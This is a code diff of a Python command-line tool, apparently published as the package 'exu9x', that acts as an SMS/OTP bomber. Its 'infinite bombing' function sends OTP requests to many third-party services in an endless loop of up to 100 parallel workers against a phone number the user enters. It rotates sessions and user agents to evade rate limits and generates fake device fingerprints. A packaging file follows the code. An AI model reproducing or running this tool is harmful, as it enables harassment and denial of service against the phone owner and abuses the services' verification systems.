+ # 𝐒𝐏𝐄𝐄𝐃 𝐂𝐎𝐍𝐅𝐈𝐆 - 𝟏𝟎𝟎 𝐖𝐎𝐑𝐊𝐄𝐑𝐒
414
+ # ═══════════════════════════════════════════════════════════════
415
+
416
+ 𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆 = {
417
+ "turbo": {"workers": 100, "delay": 0.0005, "label": "🚀 𝐓𝐮𝐫𝐛𝐨 (100x)"},
418
+ "fast": {"workers": 75, "delay": 0.001, "label": "⚡ 𝐅𝐚𝐬𝐭 (75x)"},
419
+ "normal": {"workers": 50, "delay": 0.002, "label": "🐢 𝐍𝐨𝐫𝐦𝐚𝐥 (50x)"},
420
+ "slow": {"workers": 25, "delay": 0.005, "label": "🐌 𝐒𝐥𝐨𝐰 (25x)"}
421
+ }
422
+
423
+ 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 = "turbo"
424
+ 𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
425
+
426
+ # ═══════════════════════════════════════════════════════════════
427
+ # 𝐒𝐄𝐍𝐃 𝐎𝐓𝐏
428
+ # ═══════════════════════════════════════════════════════════════
429
+
430
+ 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫 = 𝐒𝐞𝐬𝐬𝐢𝐨𝐧𝐌𝐚𝐧𝐚𝐠𝐞𝐫()
431
+
432
+ def 𝐬𝐞𝐧𝐝_𝐨𝐭𝐩(api, msisdn, attempt):
433
+ try:
434
+ clean_msisdn = msisdn[-11:] if len(msisdn) > 11 else msisdn
435
+ api_name = api["name"]
436
+
437
+ session = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
438
+
439
+ data = api["data"]
440
+ if "{timestamp}" in data:
441
+ timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
442
+ data = data.replace("{timestamp}", str(timestamp))
443
+ if "{digest}" in data:
444
+ timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
445
+ digest = hashlib.sha256(f"{clean_msisdn}{timestamp}ZviQQrBZroUaFMDP".encode()).hexdigest()
446
+ data = data.replace("{digest}", digest)
447
+ if "{msisdn}" in data:
448
+ data = data.replace("{msisdn}", clean_msisdn)
449
+
450
+ headers = api["headers"].copy()
451
+ headers["User-Agent"] = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.current_ua
452
+
453
+ if api["method"] == "POST":
454
+ if "application/json" in headers.get("Content-Type", ""):
455
+ try:
456
+ json_data = json.loads(data)
457
+ response = session.post(api["url"], headers=headers, json=json_data, timeout=5)
458
+ except:
459
+ response = session.post(api["url"], headers=headers, data=data, timeout=5)
460
+ else:
461
+ response = session.post(api["url"], headers=headers, data=data, timeout=5)
462
+ else:
463
+ response = session.get(api["url"], headers=headers, timeout=5)
464
+
465
+ if 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐢𝐬_𝐫𝐚𝐭𝐞_𝐥𝐢𝐦𝐢𝐭𝐞𝐝(response.status_code):
466
+ 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐫𝐨𝐭𝐚𝐭𝐞_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
467
+ return {
468
+ "api": api_name,
469
+ "status": response.status_code,
470
+ "success": False,
471
+ "rotated": True,
472
+ "time": round(response.elapsed.total_seconds(), 2)
473
+ }
474
+
475
+ return {
476
+ "api": api_name,
477
+ "status": response.status_code,
478
+ "success": response.status_code in [200, 201, 202, 204],
479
+ "rotated": False,
480
+ "time": round(response.elapsed.total_seconds(), 2)
481
+ }
482
+ except Exception as e:
483
+ return {
484
+ "api": api_name,
485
+ "status": "ERROR",
486
+ "success": False,
487
+ "rotated": False,
488
+ "error": str(e)[:30]
489
+ }
490
+
491
+ # ═══════════════════════════════════════════════════════════════
492
+ # 𝐈𝐍𝐅𝐈𝐍𝐈𝐓𝐄 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 - 𝟏𝟎𝟎 𝐏𝐀𝐑𝐀𝐋𝐋𝐄𝐋
493
+ # ═══════════════════════════════════════════════════════════════
494
+
495
+ def 𝐢𝐧𝐟𝐢𝐧𝐢𝐭𝐞_𝐛𝐨𝐦𝐛𝐢𝐧𝐠(msisdn):
496
+ global 𝐫𝐮𝐧𝐧𝐢𝐧𝐠
497
+ 𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = True
498
+
499
+ config = 𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆[𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝]
500
+
501
+ print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐓𝐚𝐫𝐠𝐞𝐭:{𝐑𝐄𝐒𝐄𝐓} {msisdn}")
502
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐀𝐏𝐈𝐬:{𝐑𝐄𝐒𝐄𝐓} {len(𝐀𝐏𝐈𝐒)} services")
503
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐩𝐞𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {config['label']}")
504
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐖𝐨𝐫𝐤𝐞𝐫𝐬:{𝐑𝐄𝐒𝐄𝐓} {config['workers']} parallel")
505
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭𝐬:{𝐑𝐄𝐒𝐄𝐓} {len(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)} rotating")
506
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐭𝐚𝐭𝐮𝐬:{𝐑𝐄𝐒𝐄𝐓} {𝐆𝐑𝐄𝐄𝐍}𝐑𝐔𝐍𝐍𝐈𝐍𝐆{𝐑𝐄𝐒𝐄𝐓}")
507
+ print(f"{𝐃𝐈𝐌}➜ Press Ctrl+C to stop{𝐑𝐄𝐒𝐄𝐓}\n")
508
+
509
+ total_sent = 0
510
+ total_failed = 0
511
+ total_rotated = 0
512
+ start_time = time.time()
513
+ last_show = time.time()
514
+ show_interval = 3
515
+
516
+ try:
517
+ while 𝐫𝐮𝐧𝐧𝐢𝐧𝐠:
518
+ batch_size = config['workers'] * 2
519
+ tasks = []
520
+
521
+ for i in range(batch_size):
522
+ api = 𝐀𝐏𝐈𝐒[i % len(𝐀𝐏𝐈𝐒)]
523
+ tasks.append(api)
524
+
525
+ with ThreadPoolExecutor(max_workers=config['workers']) as executor:
526
+ futures = []
527
+ for api in tasks:
528
+ future = executor.submit(𝐬𝐞𝐧𝐝_𝐨𝐭𝐩, api, msisdn, total_sent + total_failed + 1)
529
+ futures.append(future)
530
+ if config['delay'] > 0:
531
+ time.sleep(config['delay'])
532
+
533
+ for future in as_completed(futures):
534
+ result = future.result()
535
+ if result["success"]:
536
+ total_sent += 1
537
+ elif result.get("rotated", False):
538
+ total_rotated += 1
539
+ else:
540
+ total_failed += 1
541
+
542
+ # Show stats every 3 seconds
543
+ if time.time() - last_show >= show_interval:
544
+ elapsed = time.time() - start_time
545
+ rate = total_sent / elapsed if elapsed > 0 else 0
546
+ total_req = total_sent + total_failed
547
+ success_rate = (total_sent / total_req * 100) if total_req > 0 else 0
548
+ print(f"\r{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📊 {𝐆𝐑𝐄𝐄𝐍}Sent:{𝐑𝐄𝐒𝐄𝐓} {total_sent} "
549
+ f"{𝐑𝐄𝐃}Failed:{𝐑𝐄𝐒𝐄𝐓} {total_failed} "
550
+ f"{𝐘𝐄𝐋𝐋𝐎𝐖}Rotated:{𝐑𝐄𝐒𝐄𝐓} {total_rotated} "
551
+ f"{𝐂𝐘𝐀𝐍}Speed:{𝐑𝐄𝐒𝐄𝐓} {rate:.1f}/s "
552
+ f"{𝐌𝐀𝐆𝐄𝐍𝐓𝐀}Rate:{𝐑𝐄𝐒𝐄𝐓} {success_rate:.1f}% "
553
+ f"{𝐃𝐈𝐌}Elapsed: {elapsed:.0f}s{𝐑𝐄𝐒𝐄𝐓}", end="")
554
+ last_show = time.time()
555
+
556
+ except KeyboardInterrupt:
557
+ print(f"\n\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⚠ 𝐒𝐭𝐨𝐩𝐩𝐢𝐧𝐠...{𝐑𝐄𝐒𝐄𝐓}")
558
+ 𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
559
+
560
+ # Final stats
561
+ elapsed = time.time() - start_time
562
+ total_req = total_sent + total_failed
563
+ success_rate = (total_sent / total_req * 100) if total_req > 0 else 0
564
+
565
+ print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
566
+ print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 𝐂𝐎𝐌𝐏𝐋𝐄𝐓𝐄!{𝐑𝐄𝐒𝐄𝐓}")
567
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐓𝐚𝐫𝐠𝐞𝐭:{𝐑𝐄𝐒𝐄𝐓} {msisdn}")
568
+ print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✅ 𝐒𝐞𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {total_sent}")
569
+ print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}❌ 𝐅𝐚𝐢𝐥𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_failed}")
570
+ print(f"{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⟳ 𝐑𝐨𝐭𝐚𝐭𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_rotated}")
571
+ print(f"{𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}📊 𝐒𝐮𝐜𝐜𝐞𝐬𝐬 𝐑𝐚𝐭𝐞:{𝐑𝐄𝐒𝐄𝐓} {success_rate:.1f}%")
572
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}⏱️ 𝐓𝐢𝐦𝐞:{𝐑𝐄𝐒𝐄𝐓} {elapsed:.0f}s")
573
+ if elapsed > 0:
574
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}🚀 𝐀𝐯𝐠 𝐒𝐩𝐞𝐞𝐝:{𝐑𝐄𝐒𝐄𝐓} {total_sent/elapsed:.1f} req/s")
575
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
576
+
577
+ # ═══════════════════════════════════════════════════════════════
578
+ # 𝐓𝐄𝐒𝐓 𝐀𝐏𝐈𝐒
579
+ # ═══════════════════════════════════════════════════════════════
580
+
581
+ def 𝐭𝐞𝐬𝐭_𝐚𝐩𝐢𝐬(msisdn):
582
+ print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐓𝐞𝐬𝐭𝐢𝐧𝐠 {len(𝐀𝐏𝐈𝐒)} 𝐀𝐏𝐈𝐬...{𝐑𝐄𝐒𝐄𝐓}\n")
583
+
584
+ working = []
585
+ failed = []
586
+
587
+ with ThreadPoolExecutor(max_workers=15) as executor:
588
+ futures = []
589
+ for api in 𝐀𝐏𝐈𝐒:
590
+ futures.append(executor.submit(𝐬𝐞𝐧𝐝_𝐨𝐭𝐩, api, msisdn, 1))
591
+ time.sleep(0.01)
592
+
593
+ for future in as_completed(futures):
594
+ result = future.result()
595
+ if result["success"]:
596
+ working.append(result["api"])
597
+ print(f" {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓{𝐑𝐄𝐒𝐄𝐓} {result['api']:<15} {𝐆𝐑𝐄𝐄𝐍}𝐖𝐎𝐑𝐊𝐈𝐍𝐆{𝐑𝐄𝐒𝐄𝐓}")
598
+ else:
599
+ failed.append(result["api"])
600
+ print(f" {𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗{𝐑𝐄𝐒𝐄𝐓} {result['api']:<15} {𝐑𝐄𝐃}𝐅𝐀𝐈𝐋𝐄𝐃{𝐑𝐄𝐒𝐄𝐓}")
601
+
602
+ print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
603
+ print(f"{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ Working:{𝐑𝐄𝐒𝐄𝐓} {len(working)}/{len(𝐀𝐏𝐈𝐒)}")
604
+ print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ Failed:{𝐑𝐄𝐒𝐄𝐓} {len(failed)}/{len(𝐀𝐏𝐈𝐒)}")
605
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}═══════════════════════════════════{𝐑𝐄𝐒𝐄𝐓}")
606
+
607
+ # ═══════════════════════════════════════════════════════════════
608
+ # 𝐆𝐄𝐍𝐄𝐑𝐀𝐓𝐄 𝐂𝐑𝐄𝐃𝐄𝐍𝐓𝐈𝐀𝐋𝐒
609
+ # ═══════════════════════════════════════════════════════════════
610
+
611
+ def 𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐜𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬():
612
+ print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐢𝐧𝐠 𝐂𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬...{𝐑𝐄𝐒𝐄𝐓}\n")
613
+
614
+ fingerprint = 𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
615
+
616
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐅𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['fingerprint']}")
617
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐆𝐮𝐞𝐬𝐭 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['guest_id']}")
618
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐃𝐞𝐯𝐢𝐜𝐞 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['device_id']}")
619
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐒𝐞𝐬𝐬𝐢𝐨𝐧 𝐈𝐃:{𝐑𝐄𝐒𝐄𝐓} {fingerprint['session_id']}")
620
+ print(f"{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭:{𝐑𝐄𝐒𝐄𝐓} {𝐬𝐞𝐬𝐬𝐢𝐨𝐧_𝐦𝐚𝐧𝐚𝐠𝐞𝐫.current_ua}")
621
+
622
+ # ═══════════════════════════════════════════════════════════════
623
+ # 𝐒𝐇𝐎𝐖 𝐀𝐏𝐈 𝐒𝐓𝐀𝐓𝐔𝐒
624
+ # ═══════════════════════════════════════════════════════════════
625
+
626
+ def 𝐬𝐡𝐨𝐰_𝐬𝐭𝐚𝐭𝐮𝐬():
627
+ print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬 ({len(𝐀𝐏𝐈𝐒)} APIs){𝐑𝐄𝐒𝐄𝐓}\n")
628
+ for i, api in enumerate(𝐀𝐏𝐈𝐒, 1):
629
+ print(f" {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}{i:2}.{𝐑𝐄𝐒𝐄𝐓} {api['name']}")
630
+ print(f"\n{𝐃𝐈𝐌}Total User-Agents: {len(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)}{𝐑𝐄𝐒𝐄𝐓}")
631
+
632
+ # ═══════════════════════════════════════════════════════════════
633
+ # 𝐂𝐇𝐀𝐍𝐆𝐄 𝐒𝐏𝐄𝐄𝐃
634
+ # ═══════════════════════════════════════════════════════════════
635
+
636
+ def 𝐜𝐡𝐚𝐧𝐠𝐞_𝐬𝐩𝐞𝐞𝐝():
637
+ global 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝
638
+ print(f"\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}➜ 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝{𝐑𝐄𝐒𝐄𝐓}\n")
639
+ print(f" {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}1.{𝐑𝐄𝐒𝐄𝐓} 🚀 Turbo (100 workers, 0.0005s delay) {𝐆𝐑𝐄𝐄𝐍}← Current{𝐑𝐄𝐒𝐄𝐓}" if 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 == "turbo" else f" {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}1.{𝐑𝐄𝐒𝐄𝐓} 🚀 Turbo (100 workers, 0.0005s delay)")
640
+ print(f" {𝐁𝐋𝐔𝐄}{𝐁𝐎𝐋𝐃}2.{𝐑𝐄𝐒𝐄𝐓} ⚡ Fast (75 workers, 0.001s delay)")
641
+ print(f" {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}3.{𝐑𝐄𝐒𝐄𝐓} 🐢 Normal (50 workers, 0.002s delay)")
642
+ print(f" {𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}4.{𝐑𝐄𝐒𝐄𝐓} 🐌 Slow (25 workers, 0.005s delay)")
643
+
644
+ choice = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{𝐑𝐄𝐒𝐄𝐓} ").strip()
645
+ speeds = {"1": "turbo", "2": "fast", "3": "normal", "4": "slow"}
646
+ if choice in speeds:
647
+ 𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝 = speeds[choice]
648
+ print(f"\n{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ Speed changed to: {𝐒𝐏𝐄𝐄𝐃_𝐂𝐎𝐍𝐅𝐈𝐆[𝐜𝐮𝐫𝐫𝐞𝐧𝐭_𝐬𝐩𝐞𝐞𝐝]['label']}{𝐑𝐄𝐒𝐄𝐓}")
649
+
650
+ # ═══════════════════════════════════════════════════════════════
651
+ # 𝐌𝐀𝐈𝐍
652
+ # ═══════════════════════════════════════════════════════════════
653
+
654
+ def 𝐦𝐚𝐢𝐧():
655
+ global 𝐫𝐮𝐧𝐧𝐢𝐧𝐠
656
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
657
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
658
+
659
+ while True:
660
+ 𝐩𝐫𝐢𝐧𝐭_𝐦𝐞𝐧𝐮()
661
+ choice = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{𝐑𝐄𝐒𝐄𝐓} ").strip()
662
+
663
+ if choice == "1":
664
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
665
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
666
+
667
+ phone = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐏𝐡𝐨𝐧𝐞:{𝐑𝐄𝐒𝐄𝐓} ").strip()
668
+ phone = ''.join(filter(str.isdigit, phone))
669
+ if len(phone) > 11:
670
+ phone = phone[-11:]
671
+
672
+ if len(phone) != 11:
673
+ print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{𝐑𝐄𝐒𝐄𝐓}")
674
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
675
+ continue
676
+
677
+ print(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}🔄 𝐒𝐭𝐚𝐫𝐭𝐢𝐧𝐠 𝟏𝟎𝟎𝐱 𝐈𝐧𝐟𝐢𝐧𝐢𝐭𝐞 𝐋𝐨𝐨𝐩...{𝐑𝐄𝐒𝐄𝐓}")
678
+ print(f"{𝐃𝐈𝐌}⚠ Press Ctrl+C to stop anytime{𝐑𝐄𝐒𝐄𝐓}")
679
+
680
+ try:
681
+ 𝐢𝐧𝐟𝐢𝐧𝐢𝐭𝐞_𝐛𝐨𝐦𝐛𝐢𝐧𝐠(phone)
682
+ except KeyboardInterrupt:
683
+ 𝐫𝐮𝐧𝐧𝐢𝐧𝐠 = False
684
+ print(f"\n\n{𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}⚠ 𝐒𝐭𝐨𝐩𝐩𝐞𝐝 𝐛𝐲 𝐮𝐬𝐞𝐫{𝐑𝐄𝐒𝐄𝐓}")
685
+
686
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
687
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
688
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
689
+
690
+ elif choice == "2":
691
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
692
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
693
+ phone = input(f"\n{𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}📱 𝐏𝐡𝐨𝐧𝐞:{𝐑𝐄𝐒𝐄𝐓} ").strip()
694
+ phone = ''.join(filter(str.isdigit, phone))
695
+ if len(phone) > 11:
696
+ phone = phone[-11:]
697
+ 𝐭𝐞𝐬𝐭_𝐚𝐩𝐢𝐬(phone)
698
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
699
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
700
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
701
+
702
+ elif choice == "3":
703
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
704
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
705
+ 𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐜𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬()
706
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
707
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
708
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
709
+
710
+ elif choice == "4":
711
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
712
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
713
+ 𝐬𝐡𝐨𝐰_𝐬𝐭𝐚𝐭𝐮𝐬()
714
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
715
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
716
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
717
+
718
+ elif choice == "5":
719
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
720
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
721
+ 𝐜𝐡𝐚𝐧𝐠𝐞_𝐬𝐩𝐞𝐞𝐝()
722
+ input(f"\n{𝐖𝐇𝐈𝐓𝐄}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{𝐑𝐄𝐒𝐄𝐓}")
723
+ 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧()
724
+ 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫()
725
+
726
+ elif choice == "6":
727
+ print(f"\n{𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}✓ 𝐆𝐨𝐨𝐝𝐛𝐲𝐞! @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑{𝐑𝐄𝐒𝐄𝐓}")
728
+ sys.exit(0)
729
+
730
+ else:
731
+ print(f"{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{𝐑𝐄𝐒𝐄𝐓}")
732
+ time.sleep(1)
733
+
734
+ if __name__ == "__main__":
735
+ try:
736
+ 𝐦𝐚𝐢𝐧()
737
+ except KeyboardInterrupt:
738
+ print(f"\n\n{𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}✗ 𝐈𝐧𝐭𝐞𝐫𝐫𝐮𝐩𝐭𝐞𝐝{𝐑𝐄𝐒𝐄𝐓}")
739
+ sys.exit(0)
@@ -0,0 +1,21 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "exu9x"
7
+ version = "0.1.74"
8
+ description = "exu9x CLI tool"
9
+ readme = "README.md"
10
+ license = {text = "MIT"}
11
+ requires-python = ">=3.8"
12
+ authors = [{name = "Your Name"}]
13
+ dependencies = [
14
+ "requests",
15
+ ]
16
+
17
+ [project.scripts]
18
+ exu9x = "exu9x.cli:main"
19
+
20
+ [tool.hatch.build.targets.wheel]
21
+ packages = ["exu9x"]